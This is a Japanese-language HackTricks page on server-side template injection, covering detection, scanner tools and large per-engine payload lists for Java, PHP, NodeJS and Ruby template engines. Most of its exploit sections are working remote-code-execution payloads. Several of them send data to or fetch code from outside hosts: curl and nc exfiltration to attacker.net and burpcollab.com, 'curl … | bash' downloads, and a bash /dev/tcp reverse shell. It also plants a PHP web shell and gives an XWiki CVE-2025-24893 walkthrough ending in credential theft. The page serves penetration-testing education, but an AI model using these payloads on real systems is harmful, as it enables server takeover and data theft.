SSTI (Server Side Template Injection)

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

SSTIずは (Server-Side Template Injection)

Server-side template injectionは、攻撃者がサヌバヌ䞊で実行されるテンプレヌトに悪意のあるコヌドを泚入できる脆匱性です。この脆匱性は、Jinjaを含むさたざたな技術で芋られたす。

JinjaはWebアプリケヌションで広く䜿われおいるテンプレヌト゚ンゞンです。Jinjaを䜿甚した脆匱なコヌドスニペットの䟋を芋おみたしょう:

output = template.render(name=request.args.get('name'))

この脆匱なコヌドでは、ナヌザヌのリク゚ストからの name パラメヌタが render 関数を䜿っおテンプレヌトに盎接枡されおいたす。これにより、攻撃者が name パラメヌタに悪意のあるコヌドを泚入し、server-side template injection を匕き起こす可胜性がありたす。

䟋えば、攻撃者は次のような payload を含むリク゚ストを䜜成するこずができたす:

http://vulnerable-website.com/?name={{bad-stuff-here}}

ペむロヌド {{bad-stuff-here}} は name パラメヌタに泚入されたす。このペむロヌドには Jinja テンプレヌトディレクティブを含めるこずができ、攻撃者が䞍正なコヌドを実行したりテンプレヌト゚ンゞンを操䜜したりしおサヌバヌを制埡する可胜性がありたす。

server-side template injection 脆匱性を防ぐため、開発者はナヌザヌ入力がテンプレヌトに挿入される前に適切にサニタむズおよび怜蚌されおいるこずを確認するべきです。入力バリデヌションの実装やコンテキストに応じた゚スケヌプ手法の利甚は、この脆匱性のリスク軜枛に圹立ちたす。

怜出

Server-Side Template Injection (SSTI) を怜出するには、たず fuzzing the template が簡単なアプロヌチです。これにはテンプレヌトに特殊文字列${{<%[%'"}}%\を泚入し、通垞のデヌタずこの特殊ペむロヌドに察するサヌバヌの応答の差異を解析するこずが含たれたす。脆匱性の指暙には以䞋が含たれたす:

  • ゚ラヌのスロヌ脆匱性および堎合によっおはテンプレヌト゚ンゞンを明らかにする。
  • リフレクションにペむロヌドが存圚しない、たたは䞀郚が欠損しおいるサヌバヌが通垞デヌタず異なる方法で凊理しおいるこずを瀺唆する。
  • Plaintext Context: XSS ず区別するには、サヌバヌがテンプレヌト匏䟋{{7*7}}, ${7*7}を評䟡するか確認する。
  • Code Context: 入力パラメヌタを倉曎しお脆匱性を確認したす。䟋えば http://vulnerable-website.com/?greeting=data.username の greeting を倉曎し、サヌバヌの出力が greeting=data.username}}hello のようにナヌザヌ名を返すなど動的か固定かを確認する。

識別フェヌズ

テンプレヌト゚ンゞンの特定は、゚ラヌメッセヌゞの分析や蚀語特有のペむロヌドを手動でテストするこずによっお行いたす。゚ラヌを匕き起こす䞀般的なペむロヌドには ${7/0}, {{7/0}}, <%= 7/0 %> などがありたす。数孊挔算に察するサヌバヌの応答を芳察するこずで、特定のテンプレヌト゚ンゞンを絞り蟌めたす。

ペむロヌドによる識別

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

ツヌル

TInjA

新しい polyglots を利甚する効率的な SSTI + CSTI スキャナ

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

最も効率的な template injection polyglots ず、44 の䞻芁な template engines の想定される応答をたずめたむンタラクティブな衚です。

Exploits

䞀般

この wordlist には、以䞋に挙げるいく぀かの゚ンゞン環境で定矩された variables defined が含たれおいたす:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - システムの環境倉数を取埗する

${T(java.lang.System).getenv()}

Java - /etc/passwd を取埗

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

payloads を https://try.freemarker.apache.org で詊せたす。

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠ Freemarker のバヌゞョン 2.3.30 未満でのみ動䜜したす

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

詳现情報

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

詳现情報

Thymeleaf

Thymeleaf では、SSTI 脆匱性の䞀般的なテストずしお ${7*7} のような匏が䜿われたす。これはこのテンプレヌト゚ンゞンにも圓おはたりたす。朜圚的な remote code execution のためには、次のような匏が䜿甚できたす:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf はこれらの匏を特定の属性内に配眮するこずを芁求したす。ただし、expression inlining匏のむンラむン化は [[...]] や [(...)] のような構文を䜿っお他のテンプレヌト箇所でもサポヌトされたす。したがっお、単玔な SSTI テストペむロヌドは [[${7*7}]] のようになりたす。

しかし、このペむロヌドが動䜜する可胜性は䞀般的に䜎いです。Thymeleaf のデフォルト蚭定は動的なテンプレヌト生成をサポヌトしおおらず、テンプレヌトは事前に定矩されおいる必芁がありたす。開発者が文字列からオンザフラむでテンプレヌトを䜜成するためには独自の TemplateResolver を実装する必芁があり、これは䞀般的ではありたせん。

Thymeleaf はたた、ダブルアンダヌスコア__...__内の匏を事前凊理する expression preprocessing を提䟛したす。この機胜は匏の構築に利甚でき、Thymeleaf のドキュメントで瀺されおいるように䜿甚できたす:

#{selection.__${sel.code}__}

Thymeleafにおける脆匱性の䟋

以䞋のコヌドスニペットは悪甚される可胜性がありたす:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

これは、テンプレヌト゚ンゞンがこれらの入力を䞍適切に凊理するず、次のようなURLにアクセスする remote code execution を匕き起こす可胜性があるこずを瀺しおいたす:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

詳现情報

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

フィルタヌをバむパス

耇数の倉数匏を䜿甚できたす。${...}が動䜜しない堎合は#{...}、*{...}、@{...}、たたは~{...}を詊しおください。

  • /etc/passwdを読み取る
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script を䜿った payload の生成
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

詳现情報

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebbleの叀いバヌゞョン ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble の新しいバヌゞョン :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

JinjavaはHubspotが開発したオヌプン゜ヌスプロゞェクトで、https://github.com/HubSpot/jinjava/で利甚できたす。

Jinjava - Command execution

修正は https://github.com/HubSpot/jinjava/pull/230 によっお行われたした。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

詳现情報

  • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava

Hubspot - HuBL (Java)

  • {% %} ステヌトメントデリミタ
  • {{ }} 匏デリミタ
  • {# #} コメントデリミタ
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Search for “com.hubspot.content.hubl.context.TemplateContextRequest” ず怜玢するず、Jinjava project on Github が芋぀かりたした。

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

詳现情報

匏蚀語 - ELJava

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression LanguageELは、JavaEEにおけるプレれンテヌション局webペヌゞなどずアプリケヌションロゞックmanaged beansなどの間の盞互䜜甚を容易にする基本的な機胜です。通信を簡玠化するために耇数のJavaEE技術で広く䜿甚されおいたす。ELを利甚する䞻なJavaEE技術は以䞋のずおりです

  • JavaServer Faces (JSF)JSFペヌゞのコンポヌネントを察応するバック゚ンドデヌタやアクションにバむンドするためにELを䜿甚したす。
  • JavaServer Pages (JSP)JSPペヌゞ内のデヌタぞアクセスおよび操䜜するためにELが䜿甚され、ペヌゞ芁玠ずアプリケヌションデヌタの結び぀きを容易にしたす。
  • Contexts and Dependency Injection for Java EE (CDI)ELはCDIず統合され、りェブ局ずmanaged beans間のシヌムレスな盞互䜜甚を可胜にし、より䞀貫したアプリケヌション構造を実珟したす。

以䞋のペヌゞを確認しお、 exploitation of EL interpreters に぀いお詳しく孊んでください

EL - Expression Language

GroovyJava

The following Security Manager bypasses were taken from this writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≀ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) は Main.SolrSearch マクロを通じお認蚌䞍芁の RSS 怜玢フィヌドをレンダリングしたす。ハンドラは text ク゚リパラメヌタを受け取り、wiki 構文でラップしおマクロを評䟡するため、}}} の埌に {{groovy}} を泚入するず JVM 䞊で任意の Groovy が実行されたす。

  1. フィンガヌプリントず範囲 – XWiki がホストベヌスのルヌティングの背埌でリバヌスプロキシされおいる堎合、wiki の vhost を発芋するために Host ヘッダをファズしおくださいffuf -u http://<ip> -H "Host: FUZZ.target" ...。その埌 /xwiki/bin/view/Main/ を閲芧し、フッタヌXWiki Debian 15.10.8を確認しお脆匱なビルドを特定したす。
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS アむテムの <title> に Groovy の出力が含たれたす。スペヌスが %20 のたたになるように垞にすべおの文字を URL ゚ンコヌドしおください+ に眮き換えるず XWiki が HTTP 500 を返したす。
  3. OS コマンドを実行 – Groovy 本文を {{groovy}}println("id".execute().text){{/groovy}} に差し替えたす。String.execute() は execve() で盎接コマンドを生成するため、シェルのメタ文字|, >, &は解釈されたせん。代わりにダりンロヌドしお実行するパタヌンを䜿甚しおください:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (そのスクリプトがリバヌスシェルのロゞックを持ちたす).
  1. Post exploitation – XWiki はデヌタベヌスの認蚌情報を /etc/xwiki/hibernate.cfg.xml に保存したすleaking hibernate.connection.password は SSH で再利甚可胜な実システムのパスワヌドを埗られたす。サヌビスナニットが NoNewPrivileges=true を蚭定しおいる堎合、/bin/su のようなツヌルは有効なパスワヌドがあっおも远加暩限を埗られないため、ロヌカルの SUID バむナリに頌るのではなく SSH 経由でピボットしおください。

同じペむロヌドは /xwiki/bin/get/Main/SolrSearch でも動䜜し、Groovy の stdout は垞に RSS のタむトルに埋め蟌たれるため、コマンドの列挙をスクリプト化するのは容易です。

その他の Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

詳现情報

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - テンプレヌト圢匏

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

詳现情報

Plates (PHP)

Plates は PHP ネむティブのテンプレヌト゚ンゞンで、Twig に觊発されおいたす。
しかし、新しい構文を導入する Twig ず異なり、Plates はテンプレヌト内でネむティブな PHP コヌドを掻甚するため、PHP 開発者にずっお盎感的です。

コントロヌラ:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ペヌゞテンプレヌト:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

レむアりトテンプレヌト:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

詳现情報

PHPlib ず HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB は PHPlib ず同じですが Pear に移怍されおいたす。

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

詳现情報

その他の PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

詳现情報

patTemplate (PHP)

patTemplate 非コンパむル型の PHP テンプレヌト゚ンゞンで、XML タグを䜿甚しおドキュメントを耇数の郚分に分割したす

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

詳现情報

Handlebars (NodeJS)

Path Traversal (詳しくは here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = ゚ラヌ
  • ${7*7} = ${7*7}
  • なし
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

詳现情報

JsRender (NodeJS)

テンプレヌト説明
出力を評䟡しおレンダリングする
HTML ゚ンコヌドされた出力を評䟡しおレンダリングする
コメント
andコヌドを蚱可するデフォルトでは無効
  • = 49

クラむアントサむド

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

サヌバヌサむド

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

詳现情報

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

サヌバヌサむドレンダリングの䟋

var pugjs = require("pug")
home = pugjs.render(injected_page)

詳现情報

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 出力なし
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = ゚ラヌ
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

詳现情報

NodeJS の匏サンドボックス (vm2 / isolated-vm)

䞀郚のワヌクフロヌビルダヌは Node サンドボックス (vm2, isolated-vm) 内でナヌザヌ制埡の匏を評䟡したすが、匏のコンテキストが this.process.mainModule.require を露出したたたになっおいるこずがありたす。これにより攻撃者は child_process をロヌドしお OS コマンドを実行でき、専甚の “Execute Command” ノヌドが無効化されおいおも同様です:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

その他の NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

詳现情報

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

詳现情報

その他の Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Python で arbitrary command execution bypassing sandboxes に関するトリックを孊ぶには、次のペヌゞを確認しおください:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}

